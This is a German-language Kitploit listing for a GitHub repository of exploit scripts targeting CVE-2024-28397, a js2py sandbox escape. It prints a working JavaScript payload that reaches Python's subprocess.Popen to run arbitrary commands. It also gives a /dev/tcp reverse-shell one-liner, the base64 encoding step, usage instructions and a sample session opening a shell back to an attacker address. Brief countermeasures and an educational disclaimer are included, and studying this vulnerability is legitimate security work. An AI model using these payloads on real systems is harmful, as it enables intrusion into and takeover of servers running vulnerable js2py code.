Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — Exploit-Skripte für CVE-2024-28397, eine js2py-Sandbox-Umgehung, die beliebigen Python-Code ausführt, um eine Reverse Shell auf einem Ziel-Endpunkt zu starten. | Kitploit
Tools/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-Tool
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

Exploit-Skripte für CVE-2024-28397, eine js2py-Sandbox-Umgehung, die beliebigen Python-Code ausführt, um eine Reverse Shell auf einem Ziel-Endpunkt zu starten.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
36vor 0 JahrenNoch nicht geprüft
Teilen

CVE-2024-28397 js2py Sandbox-Escape-Exploit

Eine Sammlung von Exploit-Skripten, die auf die js2py-Sandbox-Escape-Schwachstelle (CVE-2024-28397) abzielen, die eine beliebige Codeausführung durch Python-Objektintrospection ermöglicht.

🔍 Schwachstellenübersicht

Die js2py-Bibliothek enthält eine kritische Sandbox-Escape-Schwachstelle, die es Angreifern ermöglicht, beliebigen Python-Code auszuführen, indem sie über die JavaScript-Methode Object.getOwnPropertyNames() auf interne Python-Objekte zugreifen.

Technische Details

  • CVE ID: CVE-2024-28397
  • Betroffene Bibliothek: js2py (JavaScript-nach-Python-Übersetzer)
  • Angriffsvektor: Sandbox-Escape über Python-Objektintrospection
  • Auswirkungen: Remote Code Execution (RCE)

📋 Referenzanalyse

Dieser Exploit basiert auf der umfassenden Analyse von Marven11:

  • Analysis Document: CVE-2024-28397 js2py Sandbox Escape Analysis

🛠️ Exploit-Skripte

Dieses Repository enthält drei verschiedene Implementierungen:

1. Bash-Skript (exploit.sh)

Leichte Bash-Implementierung unter Verwendung von curl und jq.

2. Go-Skript (exploit.go)

Plattformübergreifende Go-Implementierung mit integriertem HTTP-Client.

🚀 Schnellstart

Voraussetzungen

  • Für Bash-Skript: curl, jq, base64
  • Für Go-Skript: Go 1.16+

Verwendung

Alle Skripte sind interaktiv und fordern zur Eingabe der erforderlichen Informationen auf:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

Interaktive Eingabeaufforderungen

Jedes Skript fragt nach:

  1. Ziel-URL: Der Endpunkt, der verwundbaren js2py-Code ausführt
  2. Ihre IP: Die IP-Adresse Ihres Rechners für die Reverse Shell
  3. Ihr Port: Portnummer für die Reverse-Shell-Verbindung

Beispielsitzung

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 Funktionsweise

1. Payload-Erstellung

Der Exploit erstellt dynamisch einen Reverse-Shell-Befehl:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Base64-Kodierung

Der Shell-Befehl wird zur sicheren Übertragung base64-kodiert:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. JavaScript-Sandbox-Escape

Der Kern-Exploit verwendet JavaScript, um auf Pythons interne Objekte zuzugreifen:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. Ausführungsablauf

  1. Zugriff auf Pythons Objektsystem über Object.getOwnPropertyNames({})
  2. Navigation zu Basisklassen über __class__.__base__.__getattribute__
  3. Suche nach Subklassen von subprocess.Popen
  4. Ausführung beliebiger Systembefehle über Popen

🛡️ Gegenmaßnahmen

  • Aktualisieren Sie js2py auf eine gepatchte Version
  • Implementieren Sie ordnungsgemäße Eingabevalidierung und -bereinigung
  • Verwenden Sie sichere Sandboxing-Alternativen
  • Wenden Sie abgestufte Sicherheitsmaßnahmen (Defense-in-Depth) an

📚 Bildungszweck

Diese Skripte werden ausschließlich zu Bildungs- und autorisierten Testzwecken bereitgestellt. Stellen Sie stets sicher, dass Sie vor dem Testen gegen ein System über die entsprechende Berechtigung verfügen.

🔗 Referenzen

  • CVE-2024-28397 Offizieller Eintrag
  • Marven11s detaillierte Analyse
  • js2py GitHub-Repository

⚖️ Haftungsausschluss

Diese Software wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Die Nutzer sind dafür verantwortlich, die geltenden Gesetze einzuhalten und vor der Nutzung eine entsprechende Genehmigung einzuholen.

Tool herunterladen